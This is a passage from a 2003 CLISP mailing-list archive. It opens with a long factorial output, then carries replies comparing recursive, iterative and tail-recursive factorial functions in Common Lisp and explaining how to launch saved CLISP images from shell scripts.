733474904242629460112998819165637138471118491569150547681404 117498014542657123942044254410280758060013881986506137592885 390389226443229479902864828400995986759635809991126953676015 271730868527565721475835071222982965295649178350717508357413 622825450556202709694174767992592297748886274113145876761475 314568953280931170526964864101874076732969866492364373825654 750228164719268155598831966298483077766668406223143158843849 105190582818167407644630333001197102930364558665946518690744 752508378419876229904159117936827997606541860887216266548864 923443910309232569106337759697390517811227646684867917360494 043937033393519006093872683972992464784837272747709774666935 997848571201567890002419472692209749841273231474015499809203 814598214164811763571478015542315996678385348544864069364105 569135313352311840535813489409381918218986948253839609899428 220275993396352062177053435720733962505742167694651016084956 014393032443042715760995273086846092044222261031542299844448 021100981613338248273752189987382053151649271344981059501599 748005715919122021544877487501034732461906339413030308923994 119850062259021841644099881732143244221085542486208962502606 043981801890263177811466174549997714406652328638463638470016 556181538610981881111817341913055050248603458567555856375117 297742993290749442365796683327009183673389773479017592488856 603799527715405690830173117238941403261596122929122251910959 487438056733812785386164918427869384175568980471008598683720 336151751580970225662752001609561922299254017598785220385459 137717839763898111984858032910487516669211951045148966777615 982494687274206634375932078526189226872855276713248832677941 529128391654079683441902390948036766887078380113670427539713 962014247849351967353014444040378235266744375567408830252257 452738062099804512331881027290120429979890054231262179681352 377580411625114591759932791341765072928267622368972919605282 896752235214252342172478418693173974604118776346046256371353 098015906177367587153368039585590548273618761121513846734328 843250900456453581866819051087317913462157303395405809871720 138443770992795327976755310993813658404035567957318941419765 114363255262706397431465263481200327200967556677019262425850 577706178937982310969867884485466595273270616703089182772064 325519193936735913460377570831931808459295651588752445976017 294557205055950859291755065101156650755216351423181535481768 841960320850508714962704940176841839805825940381825939864612 602759542474333762262562871539160690250989850707986606217322 001635939386114753945614066356757185266170314714535167530074 992138652077685238248846006237358966080549516524064805472958 699186943588111978336801414880783212134571523601240659222085 089129569078353705767346716678637809088112834503957848122121 011172507183833590838861875746612013172982171310729447376562 651723106948844254983695141473838924777423209402078312008072 353262880539062660181860504249387886778724955032554242842265 962710506926460717674675023378056718934501107373770341193461 133740338653646751367336613947315502114571046711614452533248 501979010834316419899984140450449011301637595206757155675094 852435802691040776372109986716242547953853128528899309565707 292186735232166660978749896353626105298214725694827999962208 257758409884584842503911894476087296851849839763679182422665 711671665801579145008116571922002337597653174959223978849828 147055061906892756252104621856613058002556079746097267150333 270323100252746404287555565468837658388025432274035074316842 786206376970547917264843781744463615205709332285872843156907 562555693055588188226035900067393399525043798874709350792761 811162763097712579839759965266121203174958820594357548838622 825084014088857205839924009712192125480740977529742787759125 660264434827136472318491251808662787086261166999896348124058 036847945873648201246536632288890116365722708877577361520034 501022688901891016735720586614100117236647626578353963642978 190116470561702796319223322942287393092333307482589376261989 975965300841353832411258996396294451290828020232254989366275 064995308389256322467946959606690469066862926450062197401217 828998729797048590217750600928933289572723920195899944719451 473608507704007257174393181484619094062695452850305263410005 650222261523093648828871220464542677005771489943351471625042 523651737102660686472534581201866832739536825474565365535975 466857887000569883602866864507402569930874834410940860863037 079082952405767316849418558104824753047589233928015713028241 062349999459323905214098565595656613460033961505151647588527 422147325179995489779928495227460298556667008118712008561550 164574004841702103030389963392533374665568178244107374093369 192941046323077319947598263073834996007703724104462854146487 041162738956498345551621656851145513838220470054839966717062 464675661012913820489091211172293862442531589130669874620455 872448060528293781483026221645422804217577607623654598282230 708155034694049383177550533050946989994761194192312807218072 169643784333136067606769651871383943387724854936890618457005 720436966664650807344958144959663062466986798328725863000642 152202101718139173252751736722626214549454685060063346927138 383117158497530926432524869602200590998026637653862254632651 684149633063695480865511012567577178906166947583440434862184 853695916021720304561834975241620399264413316518847686068306 420048585579244733402901425888764037125186422290163336915850 632737271995963629127833447862188878710095337535510546889802 363782637149269132895643394408994701214521345721177156575914 517348951950168006213539271754198438761635434798069208866662 270995123717062419249142825764531257699397353416730468645851 819796682320156937926849269999839924135719414968822737040228 208051718080034004806152617920139789451862952905584407037383 005335524211539033851858293667791906101163062336731444192028 938572018555695963308336154502904248223092970871247880020173 830720604826801566753975937899317935157999589295621563073384 162945999002767308328277165950642179665231904392505432267537 318117553154767807394703389311851072977243183789726749574557 781833454959423173535582910469673153912759756872818616911610 831563372326399688814905439432611971822749967911766285534018 601983158096299817911072088049922920160620590672712735994618 716349457749958053379471871054564525793960242102591364155283 983952017730127125148920510617082280083399856657866469207371 142696823017704163248294794095586946990893791651910063051853 521023451897981276191430618643627030819771249927510567329094 812020577471006877033797089342292071839037441675034938188363 422292849467906602856742932516425690443634730876567970565956 772852910812427331544065801998027115791262541727974528625748 659219332938059152395247355188871198603913196542875762901905 039640835602462775343144091556421817294599415960619796226332 427158634259779473486820748020215387347297079997533329877855 310538201621697918803807530063343507661477371359393626519052 222425281410847470452956886477579135021609220403484491499507 787431071896557254926512826934895157950754861723413946103651 766167503299486422440396595118822649813159250801851263866353 086222234910946290593178294081956404847024565383054320565069 244226718632553076407618720867803917113563635012695250912910 204960428232326289965027589510528443681774157309418748944280 654275614309758281276981249369933130289466705604140843089422 311409127222381484703643410196304136307367710600381595908297 464101144213583210425743583502207371732197450890355731873504 458272387707282714061629979196293572241044771550516525358675 441093950792183690152611384403826800541509243465117114364778 994445539936536677275895657139875055429908245856095100369346 631006737147080299276569334355009271898540501099174749799915 543920319089619676154446860481754006956894714639282453838070 104441810455061713051605843558175210323384658292010710300611 242834074586070060601948305513648670210203647084708074227043 718937069656887956179287130452245168420274020219664156052803 350612935587390793935244040925842483806071774446099640352218 910229619090325690423813744924949068923143308842243996313963 915458540652863264688075811487483714082841764552263863135202 648940162624948023885682315991029526203371264492799019382111 345184463875445163912393779741905766499117642376377222828023 184657380501212778096803156914772649102575035087587922481102 235445244108724485657007551871321465920935485045528291707495 967754044507794948363717560623269257574128131102419103733380 804343253108846948315557294022653949729138175813386194570577 995618087559514136449076131096171559283765858400364893740768 222575239359887310816896676882874038371928276904315141069976 783038190856907130919313408460195111474827663507246765349220 400586266776329355166319396224989799127080044659822648991252 268131243005281049950585956765271235914944426125544376186450 292028813585828717895772241163808151618316031297287969874801 398286216456291961530963583373136197247733323530254665711969 026112373806290302429042757945490300226608474465131617416919 168517464649454596960053308852527920834724952354731106741090 992235410555062996876421539512493559863113466617251168907856 333289355691504494851891134883018763651006385025659164330219 285655962639143828950683248387271656165601115315170552229557 659449724547888155323164174532671679788611411653555975883319 796380709629988807673036169403177364481404278677842512324499 746934213482171795951906982046029971720011748573038897192055 974147424530111358697662566077709702256332617011084637847955 552585045780588794407560649741279745309184184052075585264622 088214836467546522376092107875391904546848523497599860449433 228280731206799224024775075141058907746273343190912554513522 253292759138420473846030561631542365529353122783897594465157 873373434631722800010313804254814040220905804050560038609374 034350688630814346838489007089385650500275690596780694046984 351845351341410316151336830437147866429253897171659786290107 284007589397003883177426481637251132773699268277094653425835 961118819550924620621539781211972447626237715344520480698190 825249439639622511138311774289785358255908324904804975160471 042575697534425515157798156003708472306034847539775136883904 043160174862488713393118185230294254256762024856883939708367 487884537891725741451559179190353985350772009005949793529394 596312134455033682606900598287177235333752219419155473037420 623432628929683970150588921911120492498647920534108723491154 309871821600557622090757323046261065977449476583463130255986 363150299596723524769439754625302067881933043722848002093053 541556406648385693781446031386975634592002334626069959555134 847541478911808303298164215874529229526789379256477520290526 753493566737442931826733745716424654077482679010467787590854 081305314471764558698941696689404364899524652474439883495838 712062964854133575538134195004987438133690627039738745866042 968715958207157665998266073170056244655417630245013491595672 889426197461444969086716558597827292287027237748350973629010 191304178127357730377818040815891360052073158069410343050031 843493423602692447330600138611197817744726696089283210525431 164960334201020326038636725328896483334058622048436165753620 014684054766496664735669795729533948091382637033242209308393 669549806882404916220631479114946420425000224504134255585619 374429052572524363200544874415243073052150704910204340765724 768650957511741254137295316445217655772353486018215668333525 205328300001083440087622668438170232356056451582569541773591 978136499755596019125677449427179863600458474052092900893973 152760243049516538644313881478769775414787574326101598797097 588556258067661979730984724607694848211279484279765366070550 516391044150225544203297212920330093533566872945959123279658 863764868941884336405484940095749657916576872139273301535550 978651147679473996906231848783775154626138236516659563372093 457082083018404827970057280714329257275774362295870473616416 097318172415942042703660664040897402455215307252273886372418 596464552236732604111645984640200102169208233151553888210715 271912678765317950719082045251004478212913185440548144941518 671142071036938911291250127508534663377177493760165434546963 900427111298292550968304206657253642794722000208353138837087 816499571897176293387948542712768826520037663259245616148687 448974715193662192756658524621144574070106753804275641844408 348052038382650526016985840600847884224218878569278977518104 428054744272294551674203356864606099779731249504333214252050 536757904995207835976504153790011325795360406551726548790221 735954441511394292316489506631778130390574620824491719213118 641296337046614064569001789423567387755231309527859127745332 418554424844844936642107313488191806401892223173021566458134 731864499979057816620914698707180393888857812807402263636022 941143548698714021435720559477308928086536789202019351026053 615679244832767494761178583160718657103108422005602595451151 913913091195444478443610327418761023388433916875892334237908 598419682665256106287512375723184914749519459857288979349817 917618226524804082371281097907726388642860679170822885758527 034708397145616199262478447946927949968459456323827022973641 735034307831941156982478200132908512028784748058601889600459 017459740556307327144876790852888679788099706952406810066256 114400149834135808897372468440649488570741676879164132242053 736540673301863924979109154747859591638655975070905811759248 995022147992509456355825143158144640601342834904227983579396 592589852007638456466816407326819283460077672858762849000688 745646392749644159040340336723378144915970329417872941550610 541295154001593938516639293256774295575494800466582735796539 909402335436446493768272725418736275475329768081903253361410 864330842377717389952215367630953020459024386946327028952939 944830135775890812148845584938198745059209140672095224690962 630769417533409836988593637003149737289779963600186265001749 292900879311899978229637123066422979961635825726001122889836 476514180459757700421208339493646596473364642890444993253962 270919073737057720513228159578632275919127860542978629531886 155598047281607108641328035854001600555756868557917859778991 979026565926212830072253514015259735693007290153922111168685 047404021721744420517380002513610004945341193243316683442431 259630988123969622023588583955878316851948331266535773532443 799356832152691770422490345745348589138125826813669089294768 090526355606381196613060639369384118177135459298843172329122 362624588683942028899816935611698654298847765131182276625267 399788088160104706515423350156713537448170862343146625311902 910401522629271040992850724188433290072777947541116375521765 635893163266360493812184018375128188847711689754794837676640 848427536230740195421832179854962606665903479258163423926709 478399070629231665350372850197513248138038370708946389254708 870390857235810061306286466647100061043521157789266134322146 553114118825969429262845221090266884149757633415549211355812 546165580782734701158140060083457621331303899878432706537199 567095708473857860926491888583787392391655542635773012922436 416040625517368923356365688543658516462078218757417243645258 141434876327613417527073767549222762877822647651543153415857 137735227303354033763642042580342572647496862178236669513534 106773784211313711319873732228918052750628122777164124944124 012071259543199917465747458925826137128255555350804041439445 572959945546356084872513394629363589408320989648016195831304 297209647941285393889962653689282638076771687595885022164645 824309401650096887973661577335603168367103868952282709415095 452227440027354992536702147159940565448138421863801287999008 209335763207363694059914242637182940006137419005795130962985 453307481978025683010896728738022348204888629731303696898826 406579047815623897784853650256910642317957360253309087632717 849111897484322468680863403839641761276057886465744722848249 326874430625512205069551684646694771836819114328735448158363 505481464110999601433905957997662906468812950250391509236330 110760706328633173933781496933802475800350527897827557509286 040394205063429393270646361610318228792481526793068627492372 756318522256542660085568494977202859091509304954259674736483 314372363495554489015986684083621769135596560395196704253688 634823695871294625247590317768131849775882765767404825581365 021036495855057032592199576753342642237837235860585094035839 771034766706447886408311096503025652156074640196527169997323 734652371734565955145594930981666440062115993491331801351505 286518421788280263433259347558507611686977091255800561856837 105408560812495194031480646187194025776632852670196983875675 615246967590281068648968692933159543520976875271372016161609 311742501997092896849400346962423256884106651133043774122561 762586589412367281711455264238945126317178347902769211714528 873529550193367592189080060486337377867281806102547825704367 884495035189257874998366947859086129755430841226770609543476 121337174331567837901620123372370233383164147064285921859776 101582327219979150628718681867509816655377450130208803339043 536397702633638090985264945326281465580655465048234864294953 906132574004969128883405182229336444766838550379679758096199 835758070277595359687882261946596122230445492756002749551685 835425822953360428344263184780688253954507466918778977654060 384325128438128113168562046086172894082296586261744207669202 974279300881295198546787135486232366104132165812792671515459 615943525934567574459923078892055195400823164097195912500254 552375031067356397488355424804496813830306718519314913357892 021236053081999520205845034234999321509626349778124566583046 805818245635248146258493319261954068848184464452484294860630 161694766632426252314763223711096953694838244823164103962245 076754056142874682678357237048956069906527926884558445120466 548533785340266466450423396384882577198749536113004942155937 355452119261867214782654168856040949282900566168838076376566 905107408925105491652229688786769686316525149177014999000666 373445461202627807019256987062255409289451947187780043061300 218282874258670487484808269485734447782440787341027108248702 695238308049109604820139012940246312448001593366702126583176 778797529659634725768943265404358892672939506878608306262662 632873920873273025479100999321133889778078143367287914487683 736864677485287777374035474728716442177678207129645062708809 786379281440711925051411480049070556080972292997924414710628 522470298706998692276763417735132586029089038757074543680778 764223853337006920896163510092335873039865439060718809525575 533803647258950073067721225280781794710564811713785574510576 910443229254290241494335883960936793213616969542512997310310 328044369545019298438208423831212658257405945094269427773071 248021769157818357200871705387732560179871330055059113778238 417916402808414096238208476373930139307784285545452223675598 246662506087542848761041456613622276424059143044555808563181 809352304077938916149021162924005150749140684432032303656099 548786209991943065644553325471355573653185160117003215506907 877167520628815278858971494103209869840830489665243510305024 446799317791476591034289491290541203616016956712221408063694 059403045521862128799330928562310224184463652890974446401519 866231838819624448225907835859140436861930190414589626938789 070349821698686969344480862139905345917928266543047982072196 341347556465254831437711566784590777971965107724680002935815 462676463102242790073136313525220670629511259358744731341864 924972827847966445854489629329052620580652485887070208793891 344760833446531709392424082493280089157313195413483118209277 524868805487339433158675626661221793550511906099929113794456 349956273918984590290217131557060962678816733029401984642373 904450980280309489759812592520558509735374365568257803136819 020071516756938272818188245875417107211808065564480391225045 370894226953583821925350756928340956398592655997403913167092 900439962759768303752175033608790282956730688622630777297335 338536826687345190357097096873223237383004940901232392743187 590465263270951784062672648288936468965932191695211063617297 570743761480616013311049116922713186094041450148428664236347 169828924181804843652305388645598098392738364906854808230142 678031439374404318078226787794940062064891512489525165430056 344483750467517542070433133724868706332375616452323604819320 243775968909147833721795536769926032357151855133910984027390 637532807023133017557542693962026294239109453235379101259489 649418125636729929670842506675998034562734555985596285122814 145825560248417833056452405084500659887559875186013358606249 327844877720068422965919455165395629829605916100465789072148 420548618304181756045598151680880317830802614459944446779180 124321464009836106786834129748725967292587868062230801158220 262890143644590023016458236667092655712645599257906223047452 356255751117707915120027893809757754685461210173075227992414 070263081377929719094614131458020810877381216245398587696973 714258818361526050693809269177120873219150058319771133227935 723850719406127612918725720994049302502777481566140213274347 438819664133300526342290829064009279449248085561311834401618 048013570325078363239389215676431596204426128097009441077761 306389090712944563940566015592460254542047711861404201552333 712705013771210345700095780093892653293857204785765087771496 634030035623805957571916093821713122228104658583889435071764 319399730126615914238371702844001203994858809962318594724748 587765843550770069340992203403787721927283703013808381443941 149849717307661629613420591050148142839497006959516769390415 579028563569110555473126845714974496353205546779407751840566 676372229690903461287068298871042787610900909991604438217945 117636208353797161618331243644312678554355508005079861246643 977241355021282380267267199149897272485129812872836974892764 207928686669701772597944078581559093325085541312999465811185 276916524647908191193842332758976995730120981030091710016957 187916169422700795289151919125210538918385389593151674005057 238174010306210043802430111879777042523280732365751296093724 560536800375165961642361477093303912244097528717320679761281 204280267392565573056759315126457500478757565318548258214115 740304731474925119108356157657320025461096867018903076485313 738329126824817411813590328266250825493132114314789533523170 439890539285349466428860742683718249024980924794872266336868 237995808756370408086556493219054896377855495311673979352707 994704523991532975343586905141058640965345141828964744393671 828527118435607992858959781765439501130888484191635166732136 928608309567445028018003737164580091680829727087156091850386 540534366600455049856246873760225570415958002501740953618392 876434580036708649540579417200851363571271637683234931342307 038212744845014405295416953743819454594565331651409909937227 228010196546527262278315121034676861668261314718436100255178 632479501500229536954663177395893441314814858346943745239811 599546660712059977943634401850783608991089480734196339392593 189739409431100421167291201997226266098719270140241058055153 151001098049960441472910394510303126641147267368399733150350 367427415469926331652704329406752374490750567395089296747791 158008643999925648172088474292508215462798560791277686119460 862103494055358501344721902445438245210892844094981327170106 739664711149318967899776615954881861931769001750279017838246 243878738314832795008790264339925770265880058497789846242956 603212769458108243481296908409725506710547324713172549971919 010395533058470407280816931586260938860191476899441376736214 320836073751315743763167546664791867538965715551008506268100 051198274868077805926677656541008347785710242501332533915873 847610241297947367510011634989778037459300254576098706710921 535971151782520142812166475430340751286002402970384286159842 898166021434298490889173596821922844691230359043298772318433 099141872646746075583187257131388323560158090095941825302077 993976484625979018833417938309209658414635744119858782964758 509430530081483418217478266037737622529977034687529035173107 920832200380808092121643465868179898105042743753857867891863 505177175016065318264069288832501359195171785376878658817523 664215340109612957630747626480703127573657877623528590571539 324845765039443904966680877118991924989338965248523955367958 275306141671317579157563866060048399941795487058682092011951 549520312945624513154225065748586291616065237966430101726939 502822946674896817468211639967949502942840130992359012782504 374281925576345332175761622927511105983682715672297786200537 229323140828870587494440601162365216277175585030134514714527 658418642770717699684354996202575474318119948833858067596923 595806221658324640920953506483579358177429030183153512900143 214955181774569083887193206977696956577717544991499114313689 508361606925396064698933748709429332191856012991085644702562 571635055086206892402975896847142836786847354555335834776525 361565781899969830686546717364459963431364681954274204904724 330646750014426975083223690130838954926370667784065313286648 860801295137717208475811577194910123451417749414827735800414 326673323796177169656985827858323005052658835022478680506482 014445705931973433829238600726016965109032589809099128376522 753814935298450994149669338628155680313069810645251927038185 158726486917625632394414252161184277691450677184117357143966 810056154839524431549448642383842989003998261133224689633465 221046925451379692760097196453389553321055842456401874486110 509591117668289427116400540105037704203460525213182280458929 986379035723506651087823500433499423912852363088965109892466 410563315841711428853041437722866298323189708690304003013259 514767742375161588409158380591516735045191311781939434284829 222723040614225820780278291480704267616293025392283210849177 599842005951053121647318184094931398004440728473259026091697 309981538539390312808788239029480015790080000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 00000000000000000000 -- __Pascal_Bourguignon__ http://www.informatimago.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Living free in Alaska or in Siberia, a grizzli's life expectancy is 35 years, but no more than 8 years in captivity. http://www.theadvocates.org/ From zera_holladay@yahoo.com Wed Dec 03 15:03:41 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARg20-0005dJ-Uy for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 15:03:40 -0800 Received: from web41413.mail.yahoo.com ([66.218.93.79]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1ARg20-0003cn-NC for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 15:03:40 -0800 Message-ID: <20031203230335.78605.qmail@web41413.mail.yahoo.com> Received: from [68.73.88.1] by web41413.mail.yahoo.com via HTTP; Wed, 03 Dec 2003 15:03:35 PST From: zera holladay Subject: Re: [clisp-list] questions To: pjb@informatimago.com, "John K. Hinsdale" Cc: BlakeTNC@yahoo.com, clisp-list@lists.sourceforge.net In-Reply-To: <16334.18827.517046.411171@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 15:04:03 2003 X-Original-Date: Wed, 3 Dec 2003 15:03:35 -0800 (PST) What about? (defun factorial (n) (do ((j n (- j 1)) (f 1 (* j f))) ((= j 0) f))) Or is the point to test something we would not do or would never be practical? Further, I also don't think the recursive version of (defun factorial (n) (if (<= n 2) n (* n (factorial (- n 1))))) is a tail recursive function since the (* n (fact... ) function is pending after the recursive calls return. I tried a few painful tail recursive functions for factorial, but after a while I had to ask myself why I was doing this. -zh --- "Pascal J.Bourguignon" wrote: > John K. Hinsdale writes: > > I'm not sure. The function below gives me a seg. > fault when I call it > > with N larger than 1764 ... > > > > (defun factorial (n) > > (if (<= n 2) > > n > > (* n (factorial (- n 1))))) > > > > Shouldnt' this use only a little stack? > > You have a problem: > > [21]> (time (factorial 10000)) > Real time: 1.986322 sec. > Run time: 1.81 sec. > Space: 69640484 Bytes > GC: 34, GC time: 1.38 sec. > __________________________________ Do you Yahoo!? Free Pop-Up Blocker - Get it now http://companion.yahoo.com/ From marcoxa@cs.nyu.edu Wed Dec 03 15:19:46 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARgHa-0006bM-Ar for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 15:19:46 -0800 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.24) id 1ARgHa-000760-0v for clisp-list@lists.sourceforge.net; Wed, 03 Dec 2003 15:19:46 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 54DC619D4E; Wed, 3 Dec 2003 18:18:42 -0500 (EST) Subject: Re: [clisp-list] questions Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: pjb@informatimago.com, "John K. Hinsdale" , BlakeTNC@yahoo.com, clisp-list@lists.sourceforge.net To: zera holladay From: Marco Antoniotti In-Reply-To: <20031203230335.78605.qmail@web41413.mail.yahoo.com> Message-Id: <2CF82214-25E7-11D8-9B93-000393A70920@cs.nyu.edu> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 3 15:20:02 2003 X-Original-Date: Wed, 3 Dec 2003 18:19:42 -0500 (defun fact-tail-recursive (x &optional (acc 1)) (if (zerop x) acc (fact-tail-recursive (1- x) (* x acc)))) On Wednesday, Dec 3, 2003, at 18:03 America/New_York, zera holladay wrote: > What about? > > (defun factorial (n) > (do ((j n (- j 1)) > (f 1 (* j f))) > ((= j 0) f))) > > Or is the point to test something we would not do or > would never be practical? > > Further, I also don't think the recursive version of > > (defun factorial (n) > (if (<= n 2) > n > (* n (factorial (- n 1))))) > > > is a tail recursive function since the (* n (fact... ) > function is pending after the recursive calls return. > I tried a few painful tail recursive functions for > factorial, but after a while I had to ask myself why > I was doing this. > > -zh > > --- "Pascal J.Bourguignon" > wrote: >> John K. Hinsdale writes: >>> I'm not sure. The function below gives me a seg. >> fault when I call it >>> with N larger than 1764 ... >>> >>> (defun factorial (n) >>> (if (<= n 2) >>> n >>> (* n (factorial (- n 1))))) >>> >>> Shouldnt' this use only a little stack? >> >> You have a problem: >> >> [21]> (time (factorial 10000)) >> Real time: 1.986322 sec. >> Run time: 1.81 sec. >> Space: 69640484 Bytes >> GC: 34, GC time: 1.38 sec. >> > > > __________________________________ > Do you Yahoo!? > Free Pop-Up Blocker - Get it now > http://companion.yahoo.com/ > > > ------------------------------------------------------- > This SF.net email is sponsored by OSDN's Audience Survey. > Help shape OSDN's sites and tell us what you think. Take this > five minute survey and you could win a $250 Gift Certificate. > http://www.wrgsurveys.com/2003/osdntech03.php?site=8 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From seharris@raytheon.com Thu Dec 04 07:57:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARvr8-0003Nn-F6 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 07:57:30 -0800 Received: from dfw-gate3.raytheon.com ([199.46.199.232]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARvr8-0002uD-0y for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 07:57:30 -0800 Received: from ds02c00.directory.ray.com (ds02c00.directory.ray.com [147.25.138.118]) by dfw-gate3.raytheon.com (8.12.10/8.12.10) with ESMTP id hB4FvSUt015079 for ; Thu, 4 Dec 2003 09:57:28 -0600 (CST) Received: from ds02c00.directory.ray.com (localhost [127.0.0.1]) by ds02c00.directory.ray.com (8.12.10/8.12.1) with ESMTP id hB4FvJ6r011739 for ; Thu, 4 Dec 2003 15:57:27 GMT Received: Received: from L75001820.sdo.us.ray.com ([192.27.58.82]) by ds02c00.directory.ray.com (8.12.10/8.12.9) with ESMTP id hB4FuKxK011227 sender seharris@raytheon.com for ; Thu, 4 Dec 2003 15:56:21 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.24) id HPDO7H-000DEG-HS for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 07:54:53 -0800 To: clisp-list@lists.sourceforge.net References: <200312032008.hB3K8Wqo003498@van-halen.alma.com> From: "Steven E. Harris" Organization: Raytheon Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 07:58:04 2003 X-Original-Date: Thu, 04 Dec 2003 07:54:53 -0800 "John K. Hinsdale" writes: > The docs (above) suggest concatenating all the lisp code into one > file, but I just make a top-level file that calls LOAD on all the > seprate Lisp files that make up my app, then add as the first > line the Unix interpreter directive > > #!/usr/local/bin/clisp -q /path/to/toplevel.lisp You can also load your code into CLISP, dump an image (ext:saveinitmem), then load that image at startup with the -M command-line option. Then all your startup program has to do is call on some other function loaded as part of the saved image, possibly after inspecting some command-line arguments. Your user-visible "program" could then look like: ,---- | #!/usr/local/bin/clisp -norc -M lispinit.mem | | (do-it) | (ext:exit) `---- -- Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From BlakeTNC@yahoo.com Thu Dec 04 08:22:03 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARwEt-00053D-4M for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 08:22:03 -0800 Received: from fed1mtao07.cox.net ([68.6.19.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARwEs-0005Vh-OM for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 08:22:02 -0800 Received: from PURSOYXP ([68.99.218.40]) by fed1mtao07.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP id <20031204162119.YGHT14590.fed1mtao07.cox.net@PURSOYXP> for ; Thu, 4 Dec 2003 11:21:19 -0500 From: "Blake D" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" 